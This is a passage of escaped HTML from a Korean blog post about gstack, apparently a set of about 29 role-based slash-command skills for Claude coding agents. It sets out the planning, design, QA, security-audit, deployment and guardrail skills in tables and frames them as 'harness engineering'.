&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;SKILL.md 기반 29개 역할을 명시적으로 분리. 각 스킬은 다른 평가 기준과 출력 형식을 가짐&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic: Planner / Generator / Evaluator 3-에이전트 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;피드백 루프&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/autoplan(방향 설정) &amp;rarr; 구현(Generator) &amp;rarr; /review &amp;middot; /qa(Evaluator)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic: &quot;생성기 자신에게 자기 결과를 평가하게 하면 편향이 생긴다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;행동 가드레일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/careful &amp;middot; /freeze &amp;middot; /guard &amp;mdash; 파괴적 명령 차단 및 작업 범위 잠금&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트가 아닌 구조화된 운영 규칙 레벨에서 작동&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 말한 &lt;b&gt;&quot;Humans steer. Agents execute.&quot;&lt;/b&gt;는 gstack의 /office-hours에서 정확히 구현된다. 6가지 강제 질문으로 사람이 방향을 확정하면, 이후 에이전트가 설계&amp;middot;구현&amp;middot;검증을 실행한다. /review와 /qa를 구현 단계와 분리하는 것도 같은 이유다 &amp;mdash; 자기 코드를 자기가 평가하면 맹점이 생긴다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;같은 모델, 다른 하네스 &amp;rarr; 다른 결과&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;LangChain은 모델을 고정한 채 하네스만 변경하여 에이전트 벤치마크(Terminal Bench 2.0) 점수를 52.8 &amp;rarr; 66.5로 끌어올렸다. (&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://blog.langchain.com/improving-deep-agents-with-harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;) gstack은 Claude를 더 좋은 모델로 바꾸는 도구가 아니라, &lt;b&gt;같은 모델이 더 일관되게 일하도록 행동 공간을 재설계하는 하네스&lt;/b&gt;다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff; margin: 20px 0;&quot;&gt;&lt;b&gt;프롬프트 엔지니어링 vs 하네스 엔지니어링&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 핵심은 프롬프트를 더 길게 쓰는 데 있지 않다. CLAUDE.md 같은 항상 로드되는 운영 규칙, SKILL.md 기반 역할 분리, 그리고 /review &amp;middot; /qa 같은 검증 루프를 통해 &lt;b&gt;에이전트의 행동 자체를 재구성&lt;/b&gt;하는 데 있다. 프롬프트는 포크해서 바꿀 수 있지만, 이 구조적 설계는 쉽게 재발명되지 않는다. 단, 역할마다 별도 스킬을 호출하는 만큼 토큰과 운영 오버헤드가 늘어난다는 트레이드오프는 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스 엔지니어링 개념 전체(OpenAI vs Anthropic 비교 분석)는 &lt;b&gt;&lt;a href=&quot;https://goddaehee.tistory.com/565&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;하네스 엔지니어링 완전 가이드&lt;/a&gt;&lt;/b&gt;에서 상세히 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 3: 8가지 역할별 에이전트 스킬 ===== --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 29가지 역할별 에이전트 스킬 해부&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 초기 6개 스킬에서 빠르게 확장하여 현재 &lt;b&gt;약 29개의 슬래시 커맨드 스킬&lt;/b&gt;로 구성된다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(README는 &quot;All 29 skills&quot;로 표기, 2026-03-30 기준. 빠르게 추가/변경 중).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 스킬은 특정 역할의 인지 모드로 AI 에이전트를 전환한다. 아래 표에서 카테고리별로 전체 구조를 파악할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack docs/skills.md&lt;/a&gt;, 2026-03-26 기준)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHBQot%2FdJMcagdUE9v%2FvEbURbbKRphkettam6gRS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;1094&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기획&amp;middot;리뷰 (Planning &amp;amp; Review)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/office-hours&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;YC Office Hours&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;6가지 강제 질문으로 코드 작성 전 제품을 재정의. 전제를 도전하고 구현 대안을 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-ceo-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;창업자 / CEO&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;10-star product 관점에서 문제 재정의. 4가지 모드: Expansion, Selective, Hold, Reduction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-eng-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;엔지니어링 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;아키텍처 확정, 데이터 플로우, 에지 케이스 정의. 숨겨진 가정을 드러냄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-design-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;시니어 디자이너&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;인터랙티브 plan-mode 디자인 리뷰. 각 차원을 0~10점으로 평가하고 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/autoplan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;리뷰 파이프라인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CEO &amp;rarr; Design &amp;rarr; Eng review를 자동 순차 실행. 판단이 필요한 &quot;taste decisions&quot;만 사용자에게 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디자인 (Design)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-consultation&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디자인 파트너&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;디자인 시스템 구축. 창의적 리스크 제안, 실제 제품 목업 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;코드하는 디자이너&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;라이브 사이트 시각 감사 + 수정 루프. 80항목 감사 후 atomic commit으로 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-shotgun&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디자인 탐색기&lt;/b&gt; &lt;span style=&quot;color: #28a745; font-size: 12px;&quot;&gt;[신규 v0.13.5]&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;여러 AI 디자인 변형을 생성하고, 브라우저에서 비교 보드를 열어 방향을 선택. 사용자 취향 메모리를 누적 학습&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구현&amp;middot;테스트 (Implementation &amp;amp; Testing)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Staff Engineer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CI를 통과하는 프로덕션 버그 탐색. 자동 수정 + 완전성 갭 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/investigate&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디버거&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;체계적 근본 원인 디버깅. 데이터 흐름 추적, 가설 테스트. 3회 실패 시 중단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/qa&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA Lead&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;앱 테스트 &amp;rarr; 버그 발견 &amp;rarr; atomic commit 수정 &amp;rarr; 재검증. 회귀 테스트 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/qa-only&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA 리포터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/qa와 동일 방법론이지만 코드 수정 없이 보고만 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/cso&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Chief Security Officer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;OWASP Top 10 + STRIDE 위협 모델링 감사. Injection, 인증, 암호화, 접근 제어 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/browse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA Engineer (시각)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;실제 Chromium 브라우저로 클릭, 스크린샷 (~100ms/명령)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/connect-chrome&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Chrome 컨트롤러&lt;/b&gt; &lt;span style=&quot;color: #28a745; font-size: 12px;&quot;&gt;[신규]&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;실제 Chrome을 gstack이 제어하는 모드로 실행. Side Panel 확장으로 모든 동작을 실시간 관찰 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;배포 (Deployment)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Release Engineer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;main 싱크 &amp;rarr; 테스트 &amp;rarr; 커버리지 감사 &amp;rarr; 푸시 &amp;rarr; PR 생성. 원커맨드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/land-and-deploy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;배포 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;PR 머지 후 프로덕션 배포까지 전체 흐름 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/canary&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;SRE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;포스트-디플로이 모니터링 루프. console errors, 성능 저하, 페이지 장애를 감시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/benchmark&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;성능 엔지니어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;성능 벤치마크 실행 및 비교&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/setup-deploy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;배포 설정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;배포 환경 초기 설정 및 구성 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안전&amp;middot;유틸리티 (Safety &amp;amp; Utilities)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrJoDe%2FdJMcadIcqsO%2FJqQ3In0eB9tIzUtU5UTNw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1108&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/careful&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;안전 가드레일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;파괴적 명령 전 경고. 일반 빌드 정리는 화이트리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/freeze&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;편집 잠금&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;파일 편집을 단일 디렉토리로 제한. 경계 밖 Edit/Write 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/guard&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;풀 세이프티&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/careful + /freeze 결합. 프로덕션 작업 시 최대 안전 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/unfreeze&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;잠금 해제&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/freeze 경계 제거, 전체 편집 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/codex&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Second Opinion&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI Codex 독립 리뷰. 3가지 모드: 코드 리뷰 게이트, 적대적 챌린지, 오픈 상담&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/retro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;엔지니어링 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀 메트릭 기반 회고. 개인별 분석, 배포 스트릭, 테스트 건강도 트렌드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/document-release&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;테크니컬 라이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;배포된 코드에 맞춰 프로젝트 문서 자동 업데이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/setup-browser-cookies&lt;/code&gt;&lt;/td&gt;
